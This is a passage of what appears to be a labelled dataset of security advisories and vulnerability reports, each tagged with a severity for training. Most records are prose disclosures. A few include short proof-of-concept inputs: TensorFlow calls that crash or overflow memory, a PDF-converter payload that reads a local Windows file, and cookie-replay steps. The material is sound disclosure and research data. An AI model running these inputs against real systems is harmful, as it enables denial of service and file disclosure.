Patches\n\nIt has been patched in both version XWiki 12.5 and XWiki 11.10.6.\n\n### Workarounds\n\nThe only workaround is to give SCRIPT right only to trusted users.\n\n### References\n\nhttps://jira.xwiki.org/browse/XWIKI-17423\n\nIt's been reported by the GitHub Security Lab under https://jira.xwiki.org/browse/XWIKI-17141.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Jira XWiki](https://jira.xwiki.org)\n* Email us at [our security mailing list](mailto:security@xwiki.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-10-16", "split": "train"}
-{"id": "f3b23a2b874aeea219be", "text": "Snowfox CMS v1.0 (rd param) Open Redirect Vulnerability", "text_raw": "Snowfox CMS v1.0 (rd param) Open Redirect Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2014-11-18", "split": "train"}
-{"id": "87fc416b2cc66e7b39dc", "text": "Out of bounds read in dync\n\nVecCopy::data is created as a Vec of u8 but can be used to store and retrieve elements of different types leading to misaligned access.\n\nThe issue was resolved in v0.5.0 by replacing data being stored by Vec<u8> with a custom managed pointer. Elements are now stored and retrieved using types with proper alignment corresponding to original types.", "text_raw": "Out of bounds read in dync\n\n[Severity: MEDIUM]\n\nVecCopy::data is created as a Vec of u8 but can be used to store and retrieve elements of different types leading to misaligned access.\n\nThe issue was resolved in v0.5.0 by replacing data being stored by Vec<u8> with a custom managed pointer. Elements are now stored and retrieved using types with proper alignment corresponding to original types.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "fff3fca2a33b74bfec1e", "text": "Improper Neutralization of Input in Theia console\n\nIn Eclipse Theia versions up to and including 1.8.0, in the debug console there is no HTML escaping, so arbitrary Javascript code can be injected.", "text_raw": "Improper Neutralization of Input in Theia console\n\n[Severity: MEDIUM]\n\nIn Eclipse Theia versions up to and including 1.8.0, in the debug console there is no HTML escaping, so arbitrary Javascript code can be injected.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "0a30c858e756fbf919e1", "text": "Division by zero in `Conv2DBackpropFilter`\n\n### Impact\nAn attacker can cause a division by zero to occur in `Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nfilter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes,\n  out_backprop=out_backprop,\n  strides=[1, 1, 1, 1],\n  use_cudnn_on_gpu=False,\n  padding='SAME',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L513-L522) computes a divisor based on user provided data (i.e., the shape of the tensors given as arguments):\n\n```cc\nconst size_t size_A = output_image_size * filter_total_size; \nconst size_t size_B = output_image_size * dims.out_depth;\nconst size_t size_C = filter_total_size * dims.out_depth;\nconst size_t work_unit_size = size_A + size_B + size_C;\nconst size_t shard_size = (target_working_set_size + work_unit_size - 1) / work_unit_size;\n```\n\nIf all shapes are empty then `work_unit_size` is 0. Since there is no check for this case before division, this results in a runtime exception, with potential to be abused for a denial of service.\n\n### Patches\nWe have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "text_raw": "Division by zero in `Conv2DBackpropFilter`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a division by zero to occur in `Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nfilter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes,\n  out_backprop=out_backprop,\n  strides=[1, 1, 1, 1],\n  use_cudnn_on_gpu=False,\n  padding='SAME',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L513-L522) computes a divisor based on user provided data (i.e., the shape of the tensors given as arguments):\n\n```cc\nconst size_t size_A = output_image_size * filter_total_size; \nconst size_t size_B = output_image_size * dims.out_depth;\nconst size_t size_C = filter_total_size * dims.out_depth;\nconst size_t work_unit_size = size_A + size_B + size_C;\nconst size_t shard_size = (target_working_set_size + work_unit_size - 1) / work_unit_size;\n```\n\nIf all shapes are empty then `work_unit_size` is 0. Since there is no check for this case before division, this results in a runtime exception, with potential to be abused for a denial of service. \n\n### Patches\nWe have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "2a49c5ad38495d736b7a", "text": "COMMAX WebViewer ActiveX Control 2.1.4.5 (Commax_WebViewer.ocx) Buffer Overflow", "text_raw": "COMMAX WebViewer ActiveX Control 2.1.4.5 (Commax_WebViewer.ocx) Buffer Overflow\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2021-08-15", "split": "train"}
-{"id": "043d309d5a42d372307e", "text": "Array size is not checked in sized-chunks\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, the array size is not checked when constructed with pair().", "text_raw": "Array size is not checked in sized-chunks\n\n[Severity: HIGH]\n\nAn issue was discovered in the sized-chunks crate through 0.6.2 for Rust. In the Chunk implementation, the array size is not checked when constructed with pair().", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6ad97ac8213bb8e1594f", "text": "Ivanti Pulse Connect Secure Arbitrary File Read Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains an arbitrary file read vulnerability that allows an unauthenticated remote attacker with network access via HTTPS to send a specially crafted URI.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Ivanti Pulse Connect Secure Arbitrary File Read Vulnerability\n\nAffected: Ivanti Pulse Connect Secure\n\nIvanti Pulse Connect Secure contains an arbitrary file read vulnerability that allows an unauthenticated remote attacker with network access via HTTPS to send a specially crafted URI.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "830fec01ea56caed27b1", "text": "Malicious Package in asycn\n\nAll versions of `asycn` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in asycn\n\n[Severity: CRITICAL]\n\nAll versions of `asycn` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "70452b0dec6d058a0b8c", "text": "jdf-sass downloads Resources over HTTP\n\nAffected versions of `jdf-sass` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `jdf-sass`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "jdf-sass downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `jdf-sass` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `jdf-sass`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "759b8bff317ea1ecc66c", "text": "[Unknown] Session Fixation Found\n\nHello reddapi,\r\niam saikiran a security researecher found a bug in your website...\n\nAuthot- Sai Kiran\r\nbug-session fixation\n\nSummary:\n\nThe application does not set a new Session ID in the cookie after what appears to be an authentication attempt by the user. If this was a successful login and the Session IDs are stored in cookies then this application is affected by Session Fixation vulnerability.\n\nTo reproduce this vulnerability\n\n1.open chrome and download edit this cookie ad-don\r\n2.now open https://www.reddapi.com/ and log in \r\n3.now goto edit this cookie addon and click export all cookies ...by clicking this we get the cookie copied in clipboard..\r\n4.logout from your https://www.reddapi.com/ account...\r\n5.if needed u can close and open your browser.\r\n6.now again go to https://www.reddapi.com/ but dont login..just simply go to edit this cookie addon and click import a cookie and paste the code which we previously exported.\r\n7.after pasting just refresh the page and thats done you are now logged into your account without login details...\n\nproblems faced\n\nthe problems face if the vulnerability exits are\r\n1.anyone can easily hijack victims or users session and get into his account\r\n2.cookie stealing is the best way the hacker can get into and account..it would not take more than 5min to steal someones cookie using php n all...\r\n3.even friends can fool the victim and get him hacked..\n\nSolution\n\nManage session properly.this problem is mainly faced because the session doesn't get expired or doesn't get closed when logout is pressed.each time the user logins the cookie must hold a unique different session id to proceed..\n\nfacebook,google,any many more sites overtook this site....", "text_raw": "[Unknown] Session Fixation Found\n\nHello reddapi,\r\niam saikiran a security researecher found a bug in your website...\r\n\r\nAuthot- Sai Kiran\r\nbug-session fixation\r\nSeverity: Medium\r\n\r\nSummary:\r\n\r\nThe application does not set a new Session ID in the cookie after what appears to be an authentication attempt by the user. If this was a successful login and the Session IDs are stored in cookies then this application is affected by Session Fixation vulnerability.\r\n\r\nTo reproduce this vulnerability\r\n\r\n1.open chrome and download edit this cookie ad-don\r\n2.now open https://www.reddapi.com/ and log in \r\n3.now goto edit this cookie addon and click export all cookies ...by clicking this we get the cookie copied in clipboard..\r\n4.logout from your https://www.reddapi.com/ account...\r\n5.if needed u can close and open your browser.\r\n6.now again go to https://www.reddapi.com/ but dont login..just simply go to edit this cookie addon and click import a cookie and paste the code which we previously exported.\r\n7.after pasting just refresh the page and thats done you are now logged into your account without login details...\r\n\r\nproblems faced\r\n\r\nthe problems face if the vulnerability exits are\r\n1.anyone can easily hijack victims or users session and get into his account\r\n2.cookie stealing is the best way the hacker can get into and account..it would not take more than 5min to steal someones cookie using php n all...\r\n3.even friends can fool the victim and get him hacked..\r\n\r\nSolution\r\n\r\nManage session properly.this problem is mainly faced because the session doesn't get expired or doesn't get closed when logout is pressed.each time the user logins the cookie must hold a unique different session id to proceed..\r\n\r\nfacebook,google,any many more sites overtook this site....", "severity": "medium", "severity_label": 1, "source": "hackerone", "timestamp": "2014-04-20", "split": "train"}
-{"id": "b7c5374cd9eb0a1e1308", "text": "ZKTeco ZKBioSecurity 3.0 CSRF Add Superadmin Exploit", "text_raw": "ZKTeco ZKBioSecurity 3.0 CSRF Add Superadmin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-08-31", "split": "train"}
-{"id": "fb4a80be70047fe39264", "text": "Out-of-bounds write\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1062, CVE-2019-1092, CVE-2019-1106, CVE-2019-1107.", "text_raw": "Out-of-bounds write\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge, aka 'Chakra Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2019-1062, CVE-2019-1092, CVE-2019-1106, CVE-2019-1107.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "849e3a41a5cf26a5ff1b", "text": "Improper Certificate Validation in EM-HTTP-Request\n\nEM-HTTP-Request 1.1.5 uses the library eventmachine in an insecure way that allows an attacker to perform a man-in-the-middle attack against users of the library. The hostname in a TLS server certificate is not verified.", "text_raw": "Improper Certificate Validation in EM-HTTP-Request\n\n[Severity: HIGH]\n\nEM-HTTP-Request 1.1.5 uses the library eventmachine in an insecure way that allows an attacker to perform a man-in-the-middle attack against users of the library. The hostname in a TLS server certificate is not verified.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "4b8e911af4722cf1bd3a", "text": "Apache Mesos can be configured to require authentication to call the Executor HTTP API using JSON Web Token (JWT). In Apache Mesos versions pre-1.4.2, 1.5.0, 1.5.1, 1.6.0 the comparison of the generated HMAC value against the provided signature in the JWT implementation used is vulnerable to a timing attack because instead of a constant-time string comparison routine a standard `==` operator has been used. A malicious actor can therefore abuse the timing difference of when the JWT validation function returns to reveal the correct HMAC value.", "text_raw": "Moderate severity vulnerability that affects org.apache.mesos:mesos\n\n[Severity: MEDIUM]\n\nApache Mesos can be configured to require authentication to call the Executor HTTP API using JSON Web Token (JWT). In Apache Mesos versions pre-1.4.2, 1.5.0, 1.5.1, 1.6.0 the comparison of the generated HMAC value against the provided signature in the JWT implementation used is vulnerable to a timing attack because instead of a constant-time string comparison routine a standard `==` operator has been used. A malicious actor can therefore abuse the timing difference of when the JWT validation function returns to reveal the correct HMAC value.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "3f92f08bc8a2ae987ac1", "text": "Arbitrary File Read in phantom-html-to-pdf\n\nThis affects the package phantom-html-to-pdf before 0.6.1.\n\n### PoC\n```js\nvar fs = require('fs') var conversion = require(\"phantom-html-to-pdf\")();\nconversion.allowLocalFilesAccess = false conversion({\n    html: \"document.write(window.location='c:/windows/win.ini')\"\n}, function(err, pdf) {\n    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);\n    console.log(pdf.numberOfPages);\n    pdf.stream.pipe(output);\n});\n```", "text_raw": "Arbitrary File Read in phantom-html-to-pdf\n\n[Severity: HIGH]\n\nThis affects the package phantom-html-to-pdf before 0.6.1.\n\n### PoC\n```js\nvar fs = require('fs') var conversion = require(\"phantom-html-to-pdf\")();\nconversion.allowLocalFilesAccess = false conversion({\n    html: \"document.write(window.location='c:/windows/win.ini')\"\n}, function(err, pdf) {\n    var output = fs.createWriteStream('output.pdf') console.log(pdf.logs);\n    console.log(pdf.numberOfPages);\n    pdf.stream.pipe(output);\n});\n```", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-06", "split": "train"}
-{"id": "c41074d5ac1554427b3a", "text": "Malicious Package in portionfatty12\n\nAll versions of `portionfatty12` are considered malicious. The package is malware designed to steal user's data. When installed it uploads the user's public SSH keys to a remote server.\n\n## Recommendation\n\nThis package is not available on the npm Registry anymore. If you happen to find this package in your environment you should consider the system it was installed on compromised and assess if further response (such as rotating all credentials found on the compromised machine) is necessary.", "text_raw": "Malicious Package in portionfatty12\n\n[Severity: CRITICAL]\n\nAll versions of `portionfatty12` are considered malicious. The package is malware designed to steal user's data. When installed it uploads the user's public SSH keys to a remote server.\n\n\n## Recommendation\n\nThis package is not available on the npm Registry anymore. If you happen to find this package in your environment you should consider the system it was installed on compromised and assess if further response (such as rotating all credentials found on the compromised machine) is necessary.\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "0e131d48e929ba61ed75", "text": "NUL character in ROA causes OctoRPKI to crash\n\nOctoRPKI crashes when encountering a repository that returns an invalid ROA (just an encoded `NUL` (`\\0`) character).\n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "text_raw": "NUL character in ROA causes OctoRPKI to crash\n\n[Severity: HIGH]\n\nOctoRPKI crashes when encountering a repository that returns an invalid ROA (just an encoded `NUL` (`\\0`) character).\n\n## Patches\n\n## For more information\nIf you have any questions or comments about this advisory email us at security@cloudflare.com", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-10", "split": "train"}
-{"id": "7c1b1b170351e115e9ef", "text": "actiTIME 2015.2 Multiple Vulnerabilities", "text_raw": "actiTIME 2015.2 Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-10-31", "split": "train"}
-{"id": "d0ca99a70c0283934664", "text": "SQL injection in Apache DolphinScheduler\n\nIn Apache DolphinScheduler before 1.3.6 versions, authorized users can use SQL injection in the data source center. (Only applicable to MySQL data source with internal login account password)", "text_raw": "SQL injection in Apache DolphinScheduler \n\n[Severity: HIGH]\n\nIn Apache DolphinScheduler before 1.3.6 versions, authorized users can use SQL injection in the data source center. (Only applicable to MySQL data source with internal login account password)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "84c76eb47ce322957dee", "text": "Ushahidi 2.0.1 (range param) SQL Injection Vulnerability (post-auth)", "text_raw": "Ushahidi 2.0.1 (range param) SQL Injection Vulnerability (post-auth)\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-06-02", "split": "train"}
-{"id": "a631a5b8d8ec330ecd32", "text": "Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities", "text_raw": "Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-12-27", "split": "train"}
-{"id": "b1f768d98ff5f8b76660", "text": "Sony PC Companion 2.1 (Admin_RemoveDirectory()) Stack-based Unicode BoF", "text_raw": "Sony PC Companion 2.1 (Admin_RemoveDirectory()) Stack-based Unicode BoF\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-12-20", "split": "train"}
-{"id": "5df8c725c385f692231b", "text": "Sensitive Data Exposure in pem\n\nVersions of `pem` before 1.13.2 expose sensitive data when the `readPkcs12` is used.\n\nThe `readPkcs12` function reads the certificate and key data from a pkcs12 file using the encryption password. As part of this process it creates a globally readable file with a filename of 20 random 0-f characters in the temporary directory containing the password which is then read by OpenSSL. The file containing the password is never cleaned up after it is used giving access to the pkcs12 password to any other users with access to read files from the system.\n\n## Recommendation\n\nUpdate to version 1.13.2 or later.", "text_raw": "Sensitive Data Exposure in pem\n\n[Severity: CRITICAL]\n\nVersions of `pem` before 1.13.2 expose sensitive data when the `readPkcs12` is used. \n\nThe `readPkcs12` function reads the certificate and key data from a pkcs12 file using the encryption password. As part of this process it creates a globally readable file with a filename of 20 random 0-f characters in the temporary directory containing the password which is then read by OpenSSL. The file containing the password is never cleaned up after it is used giving access to the pkcs12 password to any other users with access to read files from the system.\n\n\n\n## Recommendation\n\nUpdate to version 1.13.2 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-06-04", "split": "train"}
-{"id": "43c64566a5be8b364f4b", "text": "Integer Overflow or Wraparound in NATS Server\n\nAn integer overflow in NATS Server before 2.2.0 allows a remote attacker to crash the server by sending a crafted request.\n\n### Specific Go Packages Affected\ngithub.com/nats-io/nats-server/v2/server", "text_raw": "Integer Overflow or Wraparound in NATS Server\n\n[Severity: HIGH]\n\nAn integer overflow in NATS Server before 2.2.0 allows a remote attacker to crash the server by sending a crafted request.\n\n### Specific Go Packages Affected\ngithub.com/nats-io/nats-server/v2/server", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-18", "split": "train"}
-{"id": "033c4741b95d8e0e6fce", "text": "Local directory executable lookup in sops (Windows-only)\n\n### Impact\nWindows users using the sops direct editor option (`sops file.yaml`) can have a local executable named either `vi`, `vim`, or `nano` executed if running sops from `cmd.exe`\n\nThis attack is only viable if an attacker is able to place a malicious binary within the directory you are running sops from. As well, this attack will only work when using `cmd.exe` or the Windows C library [SearchPath function](https://docs.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-searchpatha). This is a result of these Windows tools including `.` within their `PATH` by default.\n\n**If you are using sops within untrusted directories on Windows via `cmd.exe`, please upgrade immediately**\n\n**As well, if you have `.` within your default $PATH, please upgrade immediately.**\n\nMore information can be found on the official Go blog: https://blog.golang.org/path-security\n\n### Patches\nThe problem has been resolved in v3.7.1\n\nNow, if Windows users using cmd.exe run into this issue, a warning message will be printed:\n`vim resolves to executable in current directory (.\\vim.exe)`\n\n### References\n* https://blog.golang.org/path-security\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a discussion in [sops](https://github.com/mozilla/sops/discussions)", "text_raw": "Local directory executable lookup in sops (Windows-only)\n\n[Severity: LOW]\n\n### Impact\nWindows users using the sops direct editor option (`sops file.yaml`) can have a local executable named either `vi`, `vim`, or `nano` executed if running sops from `cmd.exe`\n\nThis attack is only viable if an attacker is able to place a malicious binary within the directory you are running sops from. As well, this attack will only work when using `cmd.exe` or the Windows C library [SearchPath function](https://docs.microsoft.com/en-us/windows/win32/api/processenv/nf-processenv-searchpatha). This is a result of these Windows tools including `.` within their `PATH` by default.\n\n**If you are using sops within untrusted directories on Windows via `cmd.exe`, please upgrade immediately** \n\n**As well, if you have `.` within your default $PATH, please upgrade immediately.**\n\nMore information can be found on the official Go blog: https://blog.golang.org/path-security\n\n### Patches\nThe problem has been resolved in v3.7.1\n\nNow, if Windows users using cmd.exe run into this issue, a warning message will be printed:\n`vim resolves to executable in current directory (.\\vim.exe)`\n\n### References\n* https://blog.golang.org/path-security\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open a discussion in [sops](https://github.com/mozilla/sops/discussions)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-20", "split": "train"}
-{"id": "2a8433a5de4cf0b847ed", "text": "Heap buffer overflow in `SparseSplit`\n\n### Impact\nAn attacker can cause a heap buffer overflow in `tf.raw_ops.SparseSplit`:\n\n```python\nimport tensorflow as tf\n\nshape_dims = tf.constant(0, dtype=tf.int64)\nindices = tf.ones([1, 1], dtype=tf.int64)\nvalues = tf.ones([1], dtype=tf.int64)\nshape = tf.ones([1], dtype=tf.int64)\n\ntf.raw_ops.SparseSplit(\n    split_dim=shape_dims, indices=indices, values=values,\n    shape=shape, num_split=1)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/699bff5d961f0abfde8fa3f876e6d241681fbef8/tensorflow/core/util/sparse/sparse_tensor.h#L528-L530) accesses an array element based on a user controlled offset:\n\n```cc\nconst int dim = input_tensor.indices().matrix<int64>()(i, split_dim);\nint slice_index = GetSliceIndex(dim, split_size, residual);\nnum_values[slice_index]++;\n```\n\nThis results in overriding values on the heap.\n\n### Patches\nWe have patched the issue in GitHub commit [8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31](https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap buffer overflow in `SparseSplit`\n\n[Severity: LOW]\n\n### Impact\nAn attacker can cause a heap buffer overflow in `tf.raw_ops.SparseSplit`:\n\n```python\nimport tensorflow as tf\n\nshape_dims = tf.constant(0, dtype=tf.int64)\nindices = tf.ones([1, 1], dtype=tf.int64)\nvalues = tf.ones([1], dtype=tf.int64)\nshape = tf.ones([1], dtype=tf.int64)\n\ntf.raw_ops.SparseSplit(\n    split_dim=shape_dims, indices=indices, values=values,\n    shape=shape, num_split=1)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/699bff5d961f0abfde8fa3f876e6d241681fbef8/tensorflow/core/util/sparse/sparse_tensor.h#L528-L530) accesses an array element based on a user controlled offset:\n\n```cc\nconst int dim = input_tensor.indices().matrix<int64>()(i, split_dim);\nint slice_index = GetSliceIndex(dim, split_size, residual);\nnum_values[slice_index]++;\n```\n\nThis results in overriding values on the heap.\n\n### Patches\nWe have patched the issue in GitHub commit [8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31](https://github.com/tensorflow/tensorflow/commit/8ba6fa29cd8bf9cef9b718dc31c78c73081f5b31).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "fe91f238fe0af1efaebf", "text": "Denial of Service in apostrophe\n\nVersions of `apostrophe` prior to 2.97.1 are vulnerable to Denial of Service. The `apostrophe-jobs` module sets a callback for incoming jobs and doesn't clear it regardless of its status. This causes the server to accumulate callbacks, allowing an attacker to start a large number of jobs and exhaust system memory.\n\n## Recommendation\n\nUpgrade to version 2.97.1 or later.", "text_raw": "Denial of Service in apostrophe\n\n[Severity: LOW]\n\nVersions of `apostrophe` prior to 2.97.1 are vulnerable to Denial of Service. The `apostrophe-jobs` module sets a callback for incoming jobs and doesn't clear it regardless of its status. This causes the server to accumulate callbacks, allowing an attacker to start a large number of jobs and exhaust system memory.\n\n\n## Recommendation\n\nUpgrade to version 2.97.1 or later.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "352a800f5d0aafd5c421", "text": "Exposed phpinfo() leadked via documentation files\n\n### Impact\nThe `phpinfo()` can be exposed if the `/vendor` is not protected from public access. This is a rare situation today since the vendor directory is often located outside the web directory or protected via server rule (.htaccess, etc).\n\n### Patches\nOnly the v6, v7 and v8 will be patched respectively in 8.0.7, 7.1.2, 6.1.5.\nOlder versions such as v5, v4 are not longer supported and will **NOT** be patched.\n\n### Workarounds\nProtect the `/vendor` directory from public access.\n\n### References\nThe first issue revealing this vulnerability is located here: https://github.com/flextype/flextype/issues/567\nV6 fix: https://github.com/PHPSocialNetwork/phpfastcache/pull/815\nV7 fix: https://github.com/PHPSocialNetwork/phpfastcache/pull/814\nV8 fix: https://github.com/PHPSocialNetwork/phpfastcache/pull/813\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [our issue tracker](https://github.com/PHPSocialNetwork/phpfastcache/issues)\n* Email us at [security@geolim4.com](mailto:security@geolim4.com)", "text_raw": "Exposed phpinfo() leadked via documentation files\n\n[Severity: MEDIUM]\n\n### Impact\nThe `phpinfo()` can be exposed if the `/vendor` is not protected from public access. This is a rare situation today since the vendor directory is often located outside the web directory or protected via server rule (.htaccess, etc).\n\n### Patches\nOnly the v6, v7 and v8 will be patched respectively in 8.0.7, 7.1.2, 6.1.5.\nOlder versions such as v5, v4 are not longer supported and will **NOT** be patched.\n\n### Workarounds\nProtect the `/vendor` directory from public access.\n\n### References\nThe first issue revealing this vulnerability is located here: https://github.com/flextype/flextype/issues/567\nV6 fix: https://github.com/PHPSocialNetwork/phpfastcache/pull/815\nV7 fix: 